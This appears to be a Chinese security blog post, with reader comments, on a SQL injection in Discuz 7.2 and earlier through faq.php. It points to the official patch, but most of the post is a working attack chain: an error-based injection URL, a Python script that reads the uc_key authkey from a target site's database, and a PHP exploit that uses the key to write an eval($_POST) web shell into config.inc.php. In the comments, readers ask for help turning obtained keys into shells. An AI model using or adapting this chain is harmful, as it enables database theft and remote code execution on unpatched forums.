在昨天下午,突然惊现一个Discuz的注入漏洞,影响Discuz 7.2及以下版本,都是比较老的了,但是由于很多老网站都没有及时升级版本的习惯,影响范围是比较大的。由于乌云的一个猪队友公司,提前暴露了漏洞的细节,导致乌云的细节未公开,各种exp就已经满天飞了,没图我说个杰宝,这是我今天监测到的,昨天的我就不贴了。
本漏洞官方已经发布补丁,请使用discuz 7.2以及以前版本的论坛尽早升级,地址:
http://www.discuz.net/thread-3579915-1-1.html
本文仅为探讨漏洞成因以及漏洞的最坏后果,请勿使用本漏洞对任何网站进行攻击。这个漏洞的问题主要出在faq.php这个文件中,addslashes害死人啊,哎哎哎,由于程序员在取值的时候没有考虑到会有”\”自动加在前面,导致悲剧的发生。poc如下:
http://localhost/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
访问之后你会发现user()已经被回显过来了
这个时候,拿数据库的内容肯定是没有压力的了,那么如何GetShell呢,如果需要直接GetShell,我们需要获得uc_key,这个已经是一个很早前的技巧了,可能很多人都忘了,而且这个key是可以直接从数据库中读出来的,那么就可以妥妥的开干了,写个小脚本来分两段读key吧。
# -*- coding: utf-8 -*-
import urllib2
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
def get_url(url):
#print url
req = urllib2.Request(url)
res = urllib2.urlopen(req)
html = res.read()
res.close()
return html
def get_cut_result(source):
return source[source.find("Duplicate entry")+17:source.find("for key")-3]
def main(sitedomain):
key_table_name="uc_applications"
#key_table_name="cdb_uc_applications"
#Define the table name
if_vul_url="/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23"
if_vunl_html=get_url(sitedomain+if_vul_url)
if if_vunl_html.find("Duplicate entry")>0:
print "Target is vulnerable,continue"
key1=get_url(sitedomain+"/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20substr%28authkey%2C1%2C62%29%20from%20"+key_table_name+"%20limit%201),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23")
key1=get_cut_result(key1)
key2=get_url(sitedomain+"/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20substr%28authkey%2C63%2C60%29%20from%20"+key_table_name+"%20limit%201),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23")
key2=get_cut_result(key2)
print key1+key2
else:
print "Target is not vulnerable"
if __name__ == '__main__':
if len(sys.argv)!=2:
print "usage:discuz.py sitedomain(example:http://www.bb.com)"
sys.exit(1)
sitedomain=sys.argv[1]
main(sitedomain)
拿到了key,就可以利用discuz的uc_key来getshell了,原理也很简单,在写配置文件的时候,过滤有问题,导致可以在提交配置文件的时候,把一句话写入配置文件中,具体可以去搜相关文章。总之作为后人,我们要做的就是微笑就可以了。由于涉及到key的加密解密函数,直接从源码copy,因此这个漏洞的exp用的大多是php,成功以后,会在根目录的config.inc.php文件中写入一句话木马。
<?php
$timestamp = time()+10*3600;
$host="localhost";
$uc_key="B3bbg0GdB7g9j6T670Y5X64ci7G6r448Xcc9O3O923T703T36fc8NaS3u4beob58";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">xxx\');eval($_POST[sharlock]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">aaa</item>
</root>';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5
(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d',
$expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16)
== substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>




thanks for sharing,好东西,博主很威武!!
收了
博主,那个KEY如果有改变,库里就变成128位了,有没有办法还原出来
一样可以分段读出来啊
晕啊分段读出来的不行的,我架了个试,128位后就和CONF里不一样了
这个还真没试过呢
ucenter1.0以上就改变了写法了, 初始创建一个应用uckey在数据库里都是加密存放了的, 如果运气好会遇到一小部分直接导入数据库并未加密的key, so..其实成功率不咋滴 🙂
soga~貌似应该是有些是老版本直接升级的
博主,你这主题能不能发一份给我,真的很喜欢这主题,Rices的博客主题好像也是的,前几年就看到了…
这个主题的名字叫zbench,官方下载在http://wordpress.org/themes/zbench,作者是http://zww.me/
博主 我好想改这个主题啊 想在右侧添加最近回复 但是不知道在哪个主题文件下面,能请教下吗
hello,这个是使用的插件,名字叫WP-RecentComments
我已经通过插代码解决了 不过还是要谢谢你
可以友链做邻居吗
地址?
可以友链做邻居吗
楼主 你好,我是个初学者
在自己的测试环境获得了UC_KEY,并且改变了服务器
你好,我是个初学者
在自己的测试环境获得了UC_KEY,并且改变了服务器
define(‘UC_KEY’, ‘W7reReX4dby5N6AcB4M1z2QaE9WcsbS2W9YbK86cdfP8R3E9adm1X9U08eueJ2k3’);
define(‘UC_API’, ‘aaa’);eval($_POST[sharlock]);//’);
但是下一步不知道该干吗了,能指导一下吗?
可以通过key写shell
我获取的uc_key是这样的:c753v5d16ZUUOs75MSbf98rvn9S2tX7N07H95hfmz5+Lv+JhKwtrOdNIzLK1yfkVGmBj2CiR6i/9LSHMLhFBPEWJBNc1h4Tr8ytyzk4WD2vvMeCDM05/NJ0Tqm
分两段是key1=753v5d16ZUUOs75MSbf98rvn9S2tX7N07H95hfmz5+Lv+JhKwtrOdNIzLK1yf
key2=kVGmBj2CiR6i/9LSHMLhFBPEWJBNc1h4Tr8ytyzk4WD2vvMeCDM05/NJ0Tqm
怎么让他加起来啊
就是连起来啊。
加下qq:20725997